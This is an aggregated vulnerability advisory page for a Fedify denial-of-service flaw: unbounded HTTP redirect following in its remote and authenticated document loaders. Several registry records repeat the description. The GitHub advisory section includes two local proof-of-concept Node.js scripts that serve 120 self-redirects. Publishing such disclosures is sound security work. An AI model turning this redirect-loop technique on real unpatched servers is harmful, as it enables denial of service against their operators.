Fedify affected by resource exhaustion caused by unbounded redirect following during remote key/document resolution

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

Fedify is a TypeScript library for building federated server apps powered by ActivityPub. Prior to 1.9.6, 1.10.5, 2.0.8, and 2.1.1, @fedify/fedify follows HTTP redirects recursively in its remote document loader and authenticated document loader without enforcing a maximum redirect count or visited-URL loop detection. An attacker who controls a remote ActivityPub key or actor URL can force a server using Fedify to make repeated outbound requests from a single inbound request, leading to resource consumption and denial of service. This vulnerability is fixed in 1.9.6, 1.10.5, 2.0.8, and 2.1.1.

Source published

6 Apr 2026 15:06:53 UTC

Source modified

7 Apr 2026 14:25:51 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Fedify is a TypeScript library for building federated server apps powered by ActivityPub. Prior to 1.9.6, 1.10.5, 2.0.8, and 2.1.1, @fedify/fedify follows HTTP redirects recursively in its remote document loader and authenticated document loader without enforcing a maximum redirect count or visited-URL loop detection. An attacker who controls a remote ActivityPub key or actor URL can force a server using Fedify to make repeated outbound requests from a single inbound request, leading to resource consumption and denial of service. This vulnerability is fixed in 1.9.6, 1.10.5, 2.0.8, and 2.1.1.

Source published

Apr 6, 2026, 3:06:53 PM (timezone not stated)

Source modified

Apr 7, 2026, 2:25:51 PM (timezone not stated)

Observed here

1 Nov 2026 06:05:33 UTC

Source terms

ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Fedify is a TypeScript library for building federated server apps powered by ActivityPub. Prior to 1.9.6, 1.10.5, 2.0.8, and 2.1.1, @fedify/fedify follows HTTP redirects recursively in its remote document loader and authenticated document loader without enforcing a maximum redirect count or visited-URL loop detection. An attacker who controls a remote ActivityPub key or actor URL can force a server using Fedify to make repeated outbound requests from a single inbound request, leading to resource consumption and denial of service. This vulnerability is fixed in 1.9.6, 1.10.5, 2.0.8, and 2.1.1.

Source published

6 Apr 2026 16:16:34 UTC

Source modified

26 Oct 2026 22:10:00 UTC

Observed here

27 Oct 2026 09:03:00 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

### Summary `@fedify/fedify` follows HTTP redirects recursively in its remote document loader and authenticated document loader without enforcing a maximum redirect count or visited-URL loop detection. An attacker who controls a remote ActivityPub key or actor URL can force a server using Fedify to make repeated outbound requests from a single inbound request, leading to resource consumption and denial of service. ### Details Fedify verifies ActivityPub HTTP signatures by fetching the remote `keyId` during request processing. The relevant flow is `handleInboxInternal()` -> `verifyRequest()` -> `fetchKeyInternal()` -> document loader. In affected versions: - the generic document loader recursively follows `3xx` responses by calling `load()` again on the `Location` header - the authenticated redirect path (`doubleKnock()`) also recursively follows redirects - neither path enforces a redirect cap or tracks visited URLs to detect self-referential redirect loops As a result, if an attacker-controlled `keyId` or actor URL responds with `302 Location: <same URL>`, a single ActivityPub request can trigger tens or hundreds of outbound requests before the fetch completes or the request times out. I confirmed the issue in `@fedify/fedify` 1.9.1 and 1.9.2. By contrast, Fedify's WebFinger lookup path already has a redirect cap, which suggests the missing bound in the document loader is unintended. Failed key fetches are not durably negatively cached. After a failed lookup, the null result is only remembered in a request-local cache, so later requests can trigger the same redirect loop again for the same `keyId`. ### PoC Minimal direct reproduction with the package: 1. Install `@fedify/[email protected]`. 2. Save and run the following script: ```js import http from "node:http"; import { getDocumentLoader } from "@fedify/fedify"; const port = 45679; let count = 0; const redirectCount = 120; const server = http.createServer((req, res) => { count += 1; if (count < redirectCount) { res.writeHead(302, { Location: `http://127.0.0.1:${port}/actor`, }); res.end(); return; } res.writeHead(200, { "Content-Type": "application/activity+json" }); res.end(JSON.stringify({ "@context": "https://www.w3.org/ns/activitystreams", "id": `http://127.0.0.1:${port}/actor`, "type": "Person" })); }); await new Promise((resolve) => server.listen(port, "127.0.0.1", resolve)); try { const loader = getDocumentLoader({ allowPrivateAddress: true }); await loader(`http://127.0.0.1:${port}/actor`); console.log({ count }); } finally { server.close(); } ``` 3. Observe output similar to: ``` { count: 120 } ``` This shows the loader followed 119 self-redirects before the first non-redirect response. The authenticated loader used for signed requests shows the same behavior: ``` import http from "node:http"; import { generateCryptoKeyPair, getAuthenticatedDocumentLoader, } from "@fedify/fedify"; const port = 45680; let count = 0; const redirectCount = 120; const server = http.createServer((req, res) => { count += 1; if (count < redirectCount) { res.writeHead(302, { Location: `http://127.0.0.1:${port}/actor`, }); res.end(); return; } res.writeHead(200, { "Content-Type": "application/activity+json" }); res.end(JSON.stringify({ "@context": "https://www.w3.org/ns/activitystreams", "id": `http://127.0.0.1:${port}/actor`, "type": "Person" })); }); await new Promise((resolve) => server.listen(port, "127.0.0.1", resolve)); try { const { privateKey } = await generateCryptoKeyPair(); const loader = getAuthenticatedDocumentLoader( { privateKey, keyId: new URL("https://example.com/users/index#main-key"), }, { allowPrivateAddress: true }, ); await loader(`http://127.0.0.1:${port}/actor`); console.log({ count }); } finally { server.close(); } ``` ### Impact This is an unauthenticated denial-of-service / request amplification issue. Any Fedify-based server that verifies remote keys or loads remote ActivityPub documents can be forced to spend CPU time, worker time, connection slots, and outbound bandwidth following attacker-controlled redirects. A single inbound request can trigger a large number of outbound requests, and the attack can be repeated across requests because failed lookups are not durably negatively cached. ### Misc Notes This issue was surfaced by a Ghost ActivityPub user reporting the issue directly to Ghost. The above report was generated upon further investigation into the issue by the Ghost team. We credit @wrathsec for the discovery.

Source published

7 Apr 2026 18:04:09 UTC

Source modified

10 Sep 2026 03:51:01 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Publisher rating · HIGH